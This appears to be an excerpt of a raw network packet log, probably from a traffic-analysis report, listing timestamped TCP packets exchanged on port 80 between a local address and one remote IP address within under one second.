                                                                                                                                                              Nov 20, 2024 11:21:45.469764948 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469774008 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469777107 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469780922 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469789982 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469798088 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.469846010 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.469846010 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.469907999 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469918013 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469927073 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469934940 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469944954 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.469964027 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.469964027 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.469995975 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.470001936 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.470014095 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.470024109 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.470032930 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.470042944 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.470051050 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.470055103 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.470065117 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.470074892 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.470079899 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.470083952 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.470094919 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.470103979 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.470248938 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.470248938 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.470274925 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.470288992 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.470386982 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.470386982 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.470550060 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.470633984 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.471720934 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.471731901 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.471740961 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.471750021 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.471776962 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.471813917 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.471813917 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.476619959 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.476686001 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.476861954 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.476975918 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.477015972 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477026939 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477036953 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477046013 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477056026 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477104902 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.477392912 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477404118 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477413893 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477422953 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477427006 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477430105 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477447033 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.477571964 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477595091 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477598906 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477602005 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477603912 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.477606058 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477611065 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477621078 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477665901 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.477689028 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477699041 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477706909 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477715969 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477725983 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477786064 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.477786064 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.477902889 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477912903 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477921963 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477931023 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477951050 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.477977991 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477988005 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.477997065 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478005886 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478013992 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478023052 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478027105 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478029966 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478032112 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.478054047 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478079081 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.478080988 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478091955 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478101969 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478111982 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478121042 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478130102 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478183985 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.478202105 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.478205919 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478218079 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478226900 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478235960 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478312016 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.478312016 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.478502035 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478512049 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478521109 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478529930 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478539944 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478555918 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.478602886 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.478602886 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.478626013 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478636026 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478640079 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478646040 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478656054 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478677034 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.478744030 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.478837967 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478847980 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478857040 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478866100 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478874922 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.478897095 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.478955984 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.479698896 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.479732990 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.479742050 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.479846001 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.479846001 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.480007887 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.480067015 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.485112906 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485136032 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485146046 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485155106 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485163927 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485162973 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.485173941 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485183954 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485193014 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485202074 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485209942 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485219002 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485227108 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485233068 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.485235929 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485240936 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485253096 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485261917 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485270977 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485274076 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485284090 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485291004 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.485291958 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485301018 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485317945 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.485327005 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485338926 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485348940 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485357046 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485374928 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485383987 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485409021 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.485444069 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.485737085 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485747099 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.485800982 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.486022949 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486033916 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486042023 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486052990 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486062050 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486068010 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486103058 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.486103058 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.486217022 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486270905 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.486387014 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486397028 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486406088 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486443043 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486450911 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486459017 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.486480951 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.486499071 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.486505985 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486515999 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486562014 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.486598015 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.486607075 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486624956 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486634970 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486644030 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486665010 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.486705065 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486715078 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486728907 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.486778975 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.486911058 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486920118 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486928940 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486938953 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486948013 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486955881 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486964941 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486972094 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486990929 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.486990929 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.486999989 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.487010002 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.487016916 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.487021923 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.487077951 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.487077951 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.487077951 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.487168074 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.487176895 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.487216949 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.487247944 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.487257957 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.487343073 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.487360954 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.487370968 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.487407923 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.487685919 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.487694979 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.487704039 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.487745047 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.487940073 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.488219976 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.488260984 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.491138935 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.491183043 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.491192102 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.491199970 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.491224051 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.491264105 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.496227980 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496238947 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496248960 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496258974 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496268988 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496278048 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496287107 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496295929 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496304035 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496313095 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496324062 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496332884 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496341944 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496350050 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496356964 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.496356964 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.496359110 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496370077 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496381044 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496390104 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496396065 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.496398926 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496411085 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496419907 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.496422052 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496432066 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496442080 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496449947 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496459961 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496479034 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496484995 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.496490002 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496500015 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496509075 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496519089 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496526957 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496531010 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496535063 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496537924 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496541023 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496545076 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496548891 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496551991 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496556044 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496558905 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496563911 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496567965 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496571064 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496575117 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496578932 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496587992 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496592045 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496596098 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496598959 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496603966 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496603966 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.496615887 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496625900 CET8049799150.241.91.218192.168.2.8
